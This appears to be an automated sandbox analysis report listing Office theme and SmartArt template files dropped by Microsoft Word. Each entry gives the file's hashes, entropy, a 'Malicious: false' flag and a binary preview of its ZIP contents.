.W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033921[[fn=Damask]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033925[[fn=Droplet]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033927[[fn=Main Event]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033929[[fn=Slate]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033937[[fn=Vapor Trail]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001114[[fn=Gallery]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM10001115[[fn=Parcel]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328884[[fn=architecture]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328893[[fn=BracketList]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328905[[fn=Chevron Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328908[[fn=Circle Process]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
